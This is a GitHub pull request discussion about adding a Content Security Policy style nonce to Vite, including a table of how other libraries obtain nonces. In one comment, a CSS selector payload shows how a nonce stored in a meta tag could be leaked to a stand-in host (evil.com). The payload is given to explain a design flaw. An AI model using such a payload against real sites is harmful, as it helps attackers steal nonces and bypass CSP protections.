vite
vite copied to clipboard
fix: add style nonce to comply with content security policy (fix #11862)
Description
Fixes #11862
Additional context
Unlike webpack there's no standard convention for where to get the nonce value from. For instance webpack style-loader will get it from window.__webpack_nonce__
. Setting the nonce in a meta tag seems to be a cssinjs convention. See https://cssinjs.org/csp/?v=v10.9.2 but I also seen it used in https://github.com/marco-prontera/vite-plugin-css-injected-by-js.
The actual server that is serving the html file and generating the CSP headers is responsible to generate or rewrite the nonce placeholder value in the meta tag with a random nonce.
The project at https://github.com/justin-tay/vite-csp-issue can be used to see the issue and the fix.
I'm not sure how to add a test case for this. I have added a test to the css playground.
What is the purpose of this pull request?
- [X] Bug fix
- [ ] New Feature
- [ ] Documentation update
- [ ] Other
Before submitting the PR, please make sure you do the following
- [X] Read the Contributing Guidelines.
- [X] Read the Pull Request Guidelines and follow the PR Title Convention.
- [X] Check that there isn't already a PR that solves the problem the same way to avoid creating a duplicate.
- [X] Provide a description in this PR that addresses what the PR is solving, or reference the issue that it solves (e.g.
fixes #123
). - [X] Ideally, include relevant tests that fail without this PR but pass with it.
Thanks for the PR @justin-tay! I added it to be reviewed in the next team meeting.
@patak-dev I'm wondering, what was the result of the team meeting? :bulb:
We briefly touched on this and there was a positive consensus to add the feature. But we're unsure what is the proper convention to follow. It is still up for discussion. It would be helpful to get a more detailed list of projects using the proposed convention and alternatives.
The libraries I've seen generally fall under the following categories
- Gets from tag attribute
- Gets from global variable
- Function parameter
Having the value in the meta tag attribute makes for a convenient starting point to retrieve the nonce value generated by the backend to set in the rest of the libraries since sometimes you end up with more than one library.
Library | Type | Notes |
---|---|---|
CSS-in-JS | Gets from tag attribute | <meta property="csp-nonce" content="%NONCE_PLACEHOLDER%"/> |
Styled JSX | Gets from tag attribute | <meta property="csp-nonce" content="%NONCE_PLACEHOLDER%"/> |
Webpack style-loader | Gets from global variable | window.__webpack_nonce__ |
Styled Components | Gets from global variable | window.__webpack_nonce__ |
Stitches | Gets from global variable | window.__webpack_nonce__ fallback to window.nonce |
Emotion | Function parameter | const cache = createCache({ nonce: cspNonce }); |
Goober | Workaround | Reuses tag with id _goober . So pre-create the style tag with the nonce. <style id="_goober" nonce="%NONCE_PLACEHOLDER%" /> |
Angular | Gets from tag attribute | <app-root ngCspNonce="%NONCE_PLACEHOLDER%"> |
Angular | Function parameter | bootstrapApplication(AppComponent, { providers: [{ provide: CSP_NONCE, useValue: globalThis.myRandomNonceValue }] }); |
This is a good solution to Vite's lack of strict CSP support. What do we have to do to move this along?
You absolutely should not set the nonce value in any attribute other than 'nonce'. In this PR you're setting the nonce in the content attribute. This makes it available via non-script methods which makes it more accessible to malicious actors. To read the nonce anttribute value, you actually need js.
see: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce#accessing_nonces_and_nonce_hiding
@gregtwallace thank you for pointing this out! You might also want to have a look at https://github.com/vitejs/vite/pull/14653, in case you haven't yet :raised_hands:
Thanks! I just popped over there actually. I think these two ideas together are the ideal solution. I left a comment over there. :)
You absolutely should not set the nonce value in any attribute other than 'nonce'. In this PR you're setting the nonce in the content attribute. This makes it available via non-script methods which makes it more accessible to malicious actors. To read the nonce attribute value, you actually need js.
see: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce#accessing_nonces_and_nonce_hiding
I was quite curious if this was true, considering that setting the nonce in the content attribute is used by the somewhat popular CSS-in-JS library. While it's not the easiest thing to exploit, it does look like it's a vulnerability as opposed to using the nonce attribute.
:has(meta[property='csp-nonce'][content='whatever']) ~ * {
background: url('https://evil.com/nonce?whatever');
}
Is this still open or has it been abandon due to the conflicts ?
@ricred a better approach was drafted, but still not released, by a team member in PR #14653